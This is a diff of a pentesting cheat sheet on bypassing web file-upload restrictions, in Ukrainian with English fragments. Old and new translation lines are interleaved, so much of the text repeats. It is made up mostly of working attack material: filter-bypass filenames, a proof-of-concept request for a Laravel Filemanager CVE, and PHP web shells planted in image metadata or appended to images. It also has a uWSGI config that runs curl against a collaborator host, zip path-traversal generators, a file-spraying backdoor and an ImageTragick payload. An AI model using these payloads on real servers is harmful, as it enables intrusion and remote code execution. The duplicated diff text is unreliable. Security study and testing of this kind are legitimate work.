1. Якщо застосовано, **перевірте** **попередні розширення.** Також тестуйте їх, використовуючи **великі букви**: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте попередні розширення також):_
1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (також використовуйте попередні розширення):_
- _file.png.php_
- _file.png.Php5_
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що ви також можете спробувати використати **раніше** згадані **розширення**_)
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **перебору** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **раніше** згадані **розширення**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обманути парсер розширень на стороні сервера техніками, як-от **подвоєння** **розширення** або **додавання зайвих** даних (**null** bytes) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._
4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Додайте **ще один шар розширень** до попередніх перевірок:
5. Додайте **ще один шар розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Спробуйте помістити **виконувальне розширення перед валідним розширенням** і сподівайтесь, що сервер неправильно налаштовано. (корисно для експлуатації помилкових конфігурацій Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчується на .php**, буде виконуватись):
6. Спробуйте поставити **виконавче розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де будь-який файл з розширенням **.php**, але не обов'язково який закінчується на .php, буде виконувати код):
- _ex: file.php.png_
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":". В результаті на сервері буде створено **порожній файл із забороненим розширенням** (наприклад, "file.asax:.jpg”). Цей файл може бути змінений пізніше за допомогою інших технік, як-от використання його короткої назви файлу. Шаблон "**::$data**” також можна використати для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, "file.asp::$data.”)
8. Спробуйте перевантажити ліміти імені файлу. Валідне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
7. Використання **NTFS alternate data stream (ADS)** в **Windows**. У цьому випадку після забороненого розширення та перед дозволеним буде вставлено символ двокрапки ":”. Як результат, на сервері буде створено **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання короткого імені файлу. Шаблон "**::$data**” також можна використати для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу додаткових обмежень (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити ліміти імені файлу. Дійсне розширення буде обрізано. І зловмисний PHP залишиться. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Деякі обробники завантаження обрізають або нормалізують кінцеві крапки в збереженому імені файлу. В UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти перевірку розширень, зробивши:
Деякі upload handlers обрізають або нормалізують кінцеві крапки в збереженому імені файлу. У UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти валідацію розширення шляхом:
- Використовуючи валідний image MIME та magic header (наприклад, PNGs `\x89PNG\r\n\x1a\n`).
- Назвавши завантажений файл з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`.
- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який виконуватиметься, якщо його розміщено в web-доступній директорії (за замовчуванням public storage, як `/storage/files/`).
- Використання дійсного image MIME та magic header (наприклад, PNGs `\x89PNG\r\n\x1a\n`).
- Іменування завантажуваного файлу з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`.
- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який буде виконаний, якщо його розмістити в веб-доступному каталозі (за замовчуванням public storage, наприклад `/storage/files/`).
Minimal PoC (Burp Repeater):
Мінімальний PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -84,61 +84,61 @@ Content-Type: image/png
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Enforce strict server-side allowlists and re-validate the persisted filename.
- Serve uploads from non-executable locations.
Заходи захисту:
- Оновіть unisharp/laravel-filemanager до ≥ 2.9.1.
- Запровадьте суворі серверні списки дозволених (allowlists) та повторно перевіряйте збережене ім'я файлу.
- Зберігайте завантаження в директоріях, де виконання не дозволене.
### Bypass Content-Type, Magic Number, Compression & Resizing
### Обхід Content-Type, magic number, стиснення та зміни розміру
- Обійти перевірки **Content-Type**, встановивши **value** **header** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
- Обійдіть перевірки **Content-Type**, встановивши **значення** **заголовка** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл у **metadata**:\
- Обійдіть перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставте shell у **метадані**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести payload безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо до вашого зображення застосовується **compression**, наприклад за допомогою стандартних PHP-бібліотек на кшталт [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть стати неефективними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
- Якщо до вашого зображення додається **стискання**, наприклад за допомогою стандартних PHP-бібліотек як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути марними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розміри (resizing)** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Однак ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload, який **виживе при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Однак ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
- Інша техніка для створення payload, який **виживає при зміні розміру зображення**, використовує функцію PHP-GD `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Інші трюки для перевірки
- Знайдіть вразливість, яка дозволяє **rename** вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor.
- **Possible Information disclosure**:
1. Завантажте **кілька разів** (і водночас) **той самий файл** з **тим самим іменем**
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
3. Завантаження файлу з ім'ям **".”, "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в директорії "/www/uploads/” , ім'я файлу "." створить файл з назвою "uploads” в директорії "/www/”.
4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** на **NTFS**. (Windows)
5. Завантаження файлу в **Windows** з **недопустимими символами** у назві, такими як `|<>*?”` . (Windows)
6. Завантаження файлу в **Windows** з використанням **зарезервованих** (**заборонених**) **імен**, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Також спробуйте **upload an executable** (.exe) або **.html** (менш підозріле), яке **виконає код**, коли випадково буде відкрито жертвою.
- Знайдіть вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion** щоб виконати бекдор.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим іменем**
2. Завантажте файл з **іменем** файлу або папки, яка **вже існує**
3. Завантаження файлу з іменем **"." , ".." або "..."**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в "/www/uploads/" директорії, файл з ім'ям "." створить файл під назвою "uploads" у директорії "/www/".
4. Завантажте файл, який важко видалити, наприклад **"…:.jpg"** в **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недопустимими символами**, такими як `|<>*?"` у його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозріле), який **буде виконувати код** при випадковому відкритті жертвою.
### Special extension tricks
Якщо ви намагаєтеся завантажити файли на **PHP server**, [зверніть увагу на **.htaccess** трюк для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP server**, [перегляньте **.config** трюк для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **used like a php file** (виконуватися за допомогою php або включатися в скрипт...).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Розширення `.inc` іноді використовують для php-файлів, які лише **import files**, тому іноді хтось міг дозволити **this extension to be executed**.
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як вказано на зображенні нижче, завантажте XML-файл в `$JETTY_BASE/webapps/` і очікуйте shell!
Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Тому, як зазначено на зображенні, завантажте XML-файл до `$JETTY_BASE/webapps/` та очікуйте shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` configuration file. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, оскільки дозволяє читати дані зі standard output процесу. Цю можливість можна зловмисно використовувати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` configuration file.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні schemes:
Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, який демонструє різні схеми:
```ini
[uwsgi]
; read from a symbol
@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурація була активована і розібрана, процес uWSGI має бути або перезапущений (ймовірно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через задані інтервали при виявленні змін.
Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація активувалася й була розпарсена, процес uWSGI має бути перезапущений (наприклад, після збою або через Denial of Service attack) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали при виявленні змін.
Важливо розуміти лояльний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад зображення або PDF), що ще більше розширює можливості експлуатації.
Важливо розуміти поблажливість парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в двійковий файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації.
## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, що розширення завантажуваних файлів знаходиться в whitelist, щоб запевнити, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл у **"A"\*232+".php"**.
Інколи можна виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів знаходиться в білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
Максимальна довжина **filename** в **linux****255**, проте **wget** обрізає назви файлів до **236** символів. Ви можете **завантажити файл з назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** **valid** розширення), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,17 +186,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зауважте, що **ще один варіант**, який може прийти вам у голову, щоб обійти цю перевірку — змусити **HTTP сервер перенаправити на інший файл**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новим ім'ям. Це **не спрацює** **якщо тільки** wget використовується з **параметром** `--trust-server-names`, тому що **wget завантажить перенаправлену сторінку з ім'ям файлу, вказаним у початковому URL**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомагати Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques, щоб спростити процес ідентифікації та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомогти Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
### Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі обробники завантажень, які використовують `snprintf()` або подібні функції для побудови масивів з багатьма файлами з однофайлового завантаження, можна обдурити, змусивши сфальсифікувати структуру `_FILES`. Через невідповідності та обрізання в поведінці `snprintf()`, ретельно сформоване однофайлове завантаження може виглядати як кілька проіндексованих файлів на боці сервера, плутаючи логіку, яка припускає жорстку структуру (наприклад, трактуючи це як multi-file upload і вибираючи небезпечні гілки). Хоча сьогодні це нішево, цей шаблон “index corruption” час від часу з'являється в CTFs та старих кодових базах.
Деякі застарілі upload-хендлери, що використовують `snprintf()` або подібні функції для побудови масивів multi-file з однофайлового upload, можуть бути обмануті та змусити підробити структуру `_FILES`. Через невідповідності та усікання в поведінці `snprintf()`, ретельно сформований одиночний upload може виглядати як кілька індексованих файлів на стороні сервера, плутаючи логіку, яка очікує чіткої структури (наприклад, трактуючи це як multi-file upload і переходячи до небезпечних гілок). Хоча сьогодні це нішеве явище, цей патерн «index corruption» час від часу з'являється в CTFs та старих кодових базах.
## From File upload to other vulnerabilities
## Від File upload до інших вразливостей
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
@ -227,7 +227,7 @@ Heres a top 10 list of things that you can achieve by uploading (from [here](
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Розширення Burp
#### Burp Extension
{{#ref}}
@ -243,30 +243,28 @@ Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wiki
## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Розпакування в різні папки
### Розпаковка в різні папки
Несподіване створення файлів у каталогах під час розпакування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через шкідливі завантаження файлів, підтримка ієрархічного стиснення та можливості directory traversal формату архівів ZIP можуть бути використані. Це дозволяє атакуючим обійти обмеження та вийти за межі захищених каталогів завантаження, маніпулюючи функцією розпакування цільового додатка.
Несподіване створення файлів у директоріях під час розпаковування — суттєва проблема. Незважаючи на початкові припущення, що така конфігурація може захищати від OS-level command execution через шкідливі file uploads, підтримка ієрархічної компресії та можливості directory traversal у ZIP archive format можуть бути використані. Це дозволяє нападникам обійти обмеження та вийти з secure upload directories, маніпулюючи decompression функціоналом цільового додатка.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Крім того, **symlink trick with evilarc** — це варіант. Якщо метою є отримати доступ до файлу на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Крім того, доступним варіантом є **symlink trick with evilarc**. Якщо метою є націлитися на файл на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не стикатиметься з помилками під час роботи.
Нижче наведено приклад Python-коду, що використовується для створення шкідливого zip-файлу:
Нижче наведено приклад коду на Python, що використовується для створення шкідливого zip-файлу:
```python
#!/usr/bin/python
import zipfile
@ -284,11 +282,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**Зловживання стисненням для file spraying**
Для детальнішої інформації **перегляньте оригінальний допис на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для детальнішої інформації **перегляньте оригінальний пост за адресою**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP-код записано для виконання команд, переданих через змінну `$_REQUEST`.
1. **Creating a PHP Shell**: PHP-код, який виконує команди, передані через змінну `$_REQUEST`.
```php
<?php
@ -298,14 +296,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Створюються кілька файлів і збирається zip-архів, що містить ці файли.
2. **File Spraying and Compressed File Creation**: Створюється кілька файлів і збирається zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або hex-редактора, замінюючи "xxA" на "../" для переходу між директоріями.
3. **Modification with a Hex Editor or vi**: Імена файлів усередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для обходу директорій.
```bash
:set modifiable
@ -315,7 +313,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Завантажте цей вміст з розширенням зображення, щоб exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -324,31 +322,31 @@ pop graphic-context
```
## Вбудовування PHP Shell у PNG
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим цими операціями є значною перевагою для певних випадків використання.
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` і `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки їх часто використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним після цих операцій є значною перевагою в певних випадках використання.
Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, наведено у статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Це джерело дає всебічне розуміння процесу та його наслідків.
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files слугують унікальним інструментом у кібербезпеці, поводячись як хамелеони, які можуть коректно існувати одночасно у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує і як GIF, і як RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання на кшталт GIF і JS або PPT і JS.
Polyglot files виступають унікальним інструментом у cybersecurity, поводячись як хамелеони, які можуть одночасно коректно існувати в кількох файлових форматах. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar) — гібрид, що одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання типу GIF і JS або PPT і JS.
Основна користь polyglot files полягає в їхній здатності обходити механізми безпеки, що сканують файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів файлів, може непомітно обійти ці обмеження.
Основна користь polyglot files полягає в їхній здатності обходити заходи безпеки, які перевіряють файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно небезпечних форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів одночасно, може непомітно обійти ці обмеження.
Незважаючи на їхню адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR-файлом (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює допустимі розширення, сама по собі структурна подвійність polyglot може не забезпечити дозволу на завантаження.
Незважаючи на адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно містити PHAR file (PHp ARchive) і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює дозволені розширення, сама лише структурна подвійність polyglot може не гарантувати успіху завантаження.
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Завантаження валідних JSON, ніби це PDF
### Upload valid JSONs like if it was PDF
Як уникнути виявлення типу файлу, завантаживши валідний JSON-файл навіть якщо це не дозволено, підробивши PDF-файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Як уникнути виявлення типу файлу, завантаживши валідний JSON, навіть якщо це не дозволено, підробивши PDF (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: доки magic-байти `%PDF` знаходяться в перших 1024 байтах, це вважається валідним (див. приклад у пості)
- **`pdflib` library**: додайте фейковий PDF-формат всередину поля JSON так, щоб бібліотека подумала, що це pdf (див. приклад у пості)
- **`file` binary**: він може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб він не зміг розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і він вважатиме це PDF
- **`mmmagic` library**: Поки магічні байти `%PDF` знаходяться в перших 1024 байтах — файл вважається валідним (приклад у пості)
- **`pdflib` library**: Додати фейковий PDF формат всередину поля JSON, щоб бібліотека вважала його PDF (приклад у пості)
- **`file` binary**: Він читає до 1048576 байтів з файлу. Просто створіть JSON більший за це, щоб утиліта не змогла розпарсити вміст як JSON, а всередині JSON розмістіть початкову частину реального PDF — і вона подумає, що це PDF
## Посилання
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)